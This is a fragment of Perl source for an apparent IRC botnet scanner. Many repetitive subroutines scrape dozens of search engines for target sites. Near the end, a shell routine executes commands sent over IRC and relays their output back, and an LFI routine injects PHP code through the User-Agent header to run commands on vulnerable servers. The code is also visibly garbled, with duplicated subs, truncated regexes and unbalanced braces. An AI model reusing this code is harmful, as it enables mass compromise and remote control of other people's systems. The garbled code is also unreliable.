= $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googleC2() { my @list; my $key = $_[0]; my $search = ($Bp8.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googleC3() { my @list; my $key = $_[0]; my $search = ($Bp7.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googleC4() { my @list; my $key = $_[0]; my $search = ($Bp6.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googleC5() { my @list; my $key = $_[0]; my $search = ($By1.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google2() { my @list; my $key = $_[0]; my $b = 0; my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au", "az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw", "com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr", "com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi", "com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk", "hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it", "co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk", "co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx", "com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz", "com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt", "com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk", "sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw", "com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve", "vg","co.vi","com.vn","vu","ws","co.za","co.zm"); foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=1000; $b+=10) { my $search = ("http://www.google.".$dom."/search?num=100&q=".&key($key)."&start=".$b."&sa=N"); my $res = search_engine_query($search); while ($res =~ m/\"]*)/g) { my $link = $1; if ($link !~ /virgilio|ricerca/){ $link =~ s/\"]*)\//g) { my $link = $1; if ($link !~ /dMoz/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub fireball() { my @list; my $key = $_[0]; for ($i=1;$i<=1000;$i+=100){ my $search = ("http://www.fireball.de/ajax.asp?q=".$key."&lang=de".$i); my $res = &search_engine_query($search); while ($res =~ m/Succ/) {$i=500;} while ($res =~ m/(.+?)\//g) { if ($1 !~ /altavista/){ my $link = $1; $link =~ s/\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub searchkoya { my @list; my $key = $_[0]; for (my $i=10; $i<=1000; $i+=100){ my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=100&q=".&key($key).""); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\//g) { my $link = $1; if ($link !~ /kvasir/){ $link =~ s/\"]*)\//g) { my $link = $1; if ($link !~ /msn|live|bing/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub searchoku() { my @lst; my $key = $_[0]; for (my $i=0; $i<=50; $i+=1){ my $search = ("http://quintura.com/?request=".key($key)."&tab=0&page=".$i."&tabid="); my $res = search_engine_query($search); while ($res =~ m/\"]*)\//g) { if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub yahoo7(){ my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=500; $b+=10) { my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=UTF-8"); my $res = &search_engine_query($search); while ($res =~ m/http\%3a\/\/(.+?)\"/g) { if ($1 !~ /yahoo!7/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub becak() { my @list; my $key = $_[0]; my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr"); foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=1000; $b+=100) { my $search = ("http://www.google.com/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N"); my $res = search_engine_query($search); while ($res =~ m/\"]*)\//g) { if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub bokep() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b); my $res = search_engine_query($search); while ($res =~ m/

(.*?)<\/h2>/g) { if ($1 !~ /search\.xxx/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub searchnz() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b); my $res = search_engine_query($search); while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) { if ($1 !~ /webads\.co\.nz/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub webcrawler() { my @list; my $key = $_[0]; for ($i = 0 ;$i <= 1400 ;$i += 20) { my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top"); my $re = search_engine_query($clink); while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) { my $link = $1; if ($1 !~ /webcrawler\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=0; $b<=120; $b+=10) { my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&"); my $res = search_engine_query($search); while ($res =~ m/
/g) { if ($1 !~ /yippy\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub witch(){ my @list; my $key = $_[0]; for($b=0; $b<=1000; $b+=50){ my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b); my $Res = search_engine_query($Lyc); while ($Res =~ m/(.+?)<\/span>/g) { my $link = $1; if ($link!~ /gigablast/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mywebsearch() { my @list; my $key = $_[0]; for ($b = 1; $b<=700; $b+=40) { my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b); my $res = search_engine_query($search); while ($res =~ m/http:\/\/(.+?)\<\/span>/g) { my $link = $1; if ($1 !~ /mywebsearch\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dogpile() { my @list; my $key = $_[0]; for ($b = 1; $b<=901; $b+=40) { my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/(.+?)<\/a>/g) { my $link = $2; if ($link!~ /dogpile/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub infocom() { my @list; my $key = $_[0]; for ($b = 1; $b<=600; $b+=41) { my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) { my $link = $1; if ($link!~ /info\.com/) { my @grep=links($link); open( $filez, ">>", $name ); foreach my $k (@grep) { print $filez "$k\n"; } close $filez; push(@list,@grep); } } } return @list; } sub searchcom() { my @list; my $key = $_[0]; for ($b = 1; $b<=400; $b+=40) { my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10"); my $res = search_engine_query($search); while ($res =~ m//g) { if ($1 !~ /onet\.pl/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub askom() { my @list; my $key = $_[0]; for (my $i=0; $i<=400; $i+=30) { my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss="); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) { if ($1 !~ /ask\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub google() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ("http://www.google.com/?q=".uri_escape($key)."&num=100&filter=0&start=".$i); my $res = &search_engine_query($search); while ($res =~ m/]*)\//g) { my $link = $1; if ($link !~ /yahoo\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ask() { my @list; my $key = $_[0]; for (my $i=1; $i<=1000; $i+=100) { my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss="); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /ask\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onet() { my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=600; $b+=60) { my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=600; $b+=60) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=50) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/]*)\//g) { if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub clix(){ my @list; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b.""); my $Res=&search_engine_query($Th); while($Res =~ m/href=\"http:\/\/(.+?)\//g){ my $link = $1; $link =~ s//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=200; $b+=10) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/\"]*)\//g) { if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub uol() { my @list; my $key = $_[0]; for ($b=0; $b<=1000; $b+=10) { my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b); my $res = &search_engine_query($search); if ($res =~ m/retornou nenhum resultado/i) {$b=500;} while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=300; $b+=20) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=50; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=300; $b+=10) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=10) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } ######################################### sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub cmdlfi() { my $browser = LWP::UserAgent->new; my $url = $_[0]; my $cmd = $_[1]; my $channel = $_[2]; my $hie = "lobex /dev/stdoumzt\"); ?>byroe"; $browser->agent("$hie"); $browser->timeout(7); $response = $browser->get( $url ); if ($response->content =~ /lobex(.*)byroe/s) { &msg("$channel","$lfilogo9 ".$1." "); } else { &msg("$channel","$lfilogo15 No Output "); } } sub read_bank() { my $bank = uri_escape($_[0]); my $file = "banklist.txt"; my $success = 0; open (file,"<$file"); while (my $bankx=) { chop($bankx); if ($bankx =~ /^$bank/){ $success = 1; } } close file; return $success; }